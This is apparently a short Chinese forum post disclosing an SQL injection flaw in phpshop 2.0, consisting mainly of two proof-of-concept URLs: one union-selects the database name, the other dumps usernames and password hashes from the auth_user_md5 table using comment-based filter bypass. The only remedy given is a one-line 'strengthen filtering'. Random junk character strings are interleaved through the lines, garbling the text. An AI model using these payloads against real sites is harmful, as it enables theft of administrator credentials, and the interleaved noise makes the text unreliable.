phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

$ U7 R9 F6 k% z. ?& q0 V( m作者 : By onestree
5 H& n. J* b( S1 D" c( y4 Y6 ]下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu

6 l0 {2 V% W! c( ]1 p
SQLi p0c:
/ ?7 M0 h0 d$ D+ V: X6 ~5 I
4 z% m3 ?. j# S& G* x; g  X==================
4 p' U# }  Q$ p3 k# Z; X$ d
* Q: {+ D( k! q5 o# p5 ghttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
& I4 o/ m8 v1 Z7 I$ f8 D
0 G% r. B/ m% Phttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

8 a8 S3 ?* k" u$ k* @. c$ v( `修复：
( ~2 r8 L' {/ v4 @' I7 t+ _1 @" ~加强过滤
​

. R; z& I4 I7 n6 L* s